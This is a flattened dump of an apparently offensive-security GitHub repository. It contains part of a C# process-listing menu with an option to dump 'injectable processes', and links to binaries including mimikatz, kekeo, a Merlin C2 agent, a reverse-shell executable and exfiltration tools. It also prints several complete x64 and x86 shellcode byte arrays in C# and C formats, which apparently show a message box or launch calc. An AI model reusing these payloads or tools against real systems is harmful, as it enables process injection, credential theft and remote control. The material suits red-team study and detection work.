41 | // exiting 42 | System.Environment.Exit(1); 43 | } 44 | } 45 | 46 | // ============= Main Console ============= 47 | 48 | public static void MainConsole() 49 | { 50 | while(true) 51 | { 52 | CmdMenu(); 53 | // Starting Menu: 54 | Console.Write("\n[>] "); 55 | string userinput = Console.ReadLine(); 56 | if (userinput == null || userinput.Equals("")) 57 | { 58 | Console.WriteLine("[-] User input is out of Command Menu Syllabus\n"); 59 | continue; 60 | } 61 | 62 | EXIT(userinput); 63 | 64 | switch(userinput) 65 | { 66 | case "1": 67 | 68 | ListAllProcesses(); 69 | break; 70 | 71 | case "2": 72 | 73 | CurrentProcess(); 74 | break; 75 | 76 | case "3": 77 | 78 | Console.WriteLine("[+] Dumping injectable processes..."); 79 | break; 80 | 81 | default: 82 | break; 83 | } 84 | } 85 | } 86 | 87 | public static void Main() 88 | { 89 | MainConsole(); 90 | //return 0; 91 | } 92 | } 93 | 94 | } 95 | -------------------------------------------------------------------------------- /dotNETbinaries/checkprocess.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/checkprocess.exe -------------------------------------------------------------------------------- /dotNETbinaries/cpp_test_payload.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/cpp_test_payload.exe -------------------------------------------------------------------------------- /dotNETbinaries/exfiltrate.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/exfiltrate.exe -------------------------------------------------------------------------------- /dotNETbinaries/exfiltrate_via_post.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/exfiltrate_via_post.exe -------------------------------------------------------------------------------- /dotNETbinaries/mscorlib.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/mscorlib.exe -------------------------------------------------------------------------------- /dotNETbinaries/mssgbox_csharp_shellcode_x64.txt: -------------------------------------------------------------------------------- 1 | byte[] buf = new byte[299] { 2 | 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 3 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 4 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 5 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 6 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 7 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 8 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 9 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 10 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 11 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 12 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 13 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 14 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 15 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 16 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 17 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 18 | 0x85,0x13,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 19 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, 20 | 0x6c,0x6f,0x20,0x66,0x72,0x6f,0x6d,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f, 21 | 0x64,0x65,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 }; 22 | -------------------------------------------------------------------------------- /dotNETbinaries/mssgbox_csharp_shellcode_x86.txt: -------------------------------------------------------------------------------- 1 | byte[] buf = new byte[277] { 2 | 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 3 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 4 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 5 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 6 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 7 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 8 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 9 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 10 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 11 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 12 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 13 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 14 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 15 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 16 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 17 | 0x68,0x58,0x20,0x20,0x20,0x68,0x63,0x6f,0x64,0x65,0x68,0x68,0x65,0x6c,0x6c, 18 | 0x68,0x6f,0x6d,0x20,0x73,0x68,0x6f,0x20,0x66,0x72,0x68,0x48,0x65,0x6c,0x6c, 19 | 0x31,0xc9,0x88,0x4c,0x24,0x14,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff, 20 | 0xd0,0x31,0xc0,0x50,0xff,0x55,0x08 }; 21 | -------------------------------------------------------------------------------- /dotNETbinaries/mssgbox_shellcode_x64_with_hexsymbol.txt: -------------------------------------------------------------------------------- 1 | \xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e\x4c\x8d\x85\x13\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x48\x65\x6c\x6c\x6f\x20\x66\x72\x6f\x6d\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00 2 | -------------------------------------------------------------------------------- /dotNETbinaries/mssgbox_shellcode_x64_without_hexsymbol.txt: -------------------------------------------------------------------------------- 1 | fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7c1000000003e488d95fe0000003e4c8d85130100004831c941ba45835607ffd54831c941baf0b5a256ffd548656c6c6f2066726f6d207368656c6c636f6465004d657373616765426f7800 2 | -------------------------------------------------------------------------------- /dotNETbinaries/nointeract.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | class Program 4 | { 5 | public static void Main() 6 | { 7 | Console.WriteLine("1"); 8 | Console.WriteLine("1"); 9 | Console.WriteLine("1"); 10 | Console.WriteLine("1"); 11 | Console.WriteLine("1"); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /dotNETbinaries/nointeract.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/nointeract.exe -------------------------------------------------------------------------------- /https_revshell.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/https_revshell.exe -------------------------------------------------------------------------------- /kekeo.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/kekeo.exe -------------------------------------------------------------------------------- /merlinAgent-Linux-x64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/merlinAgent-Linux-x64 -------------------------------------------------------------------------------- /mimikatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/mimikatz.exe -------------------------------------------------------------------------------- /nasm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/nasm.exe -------------------------------------------------------------------------------- /test.txt: -------------------------------------------------------------------------------- 1 | unsigned char enc_shellcode_bin[] = "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x00"; 2 | -------------------------------------------------------------------------------- /xxd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/xxd.exe --------------------------------------------------------------------------------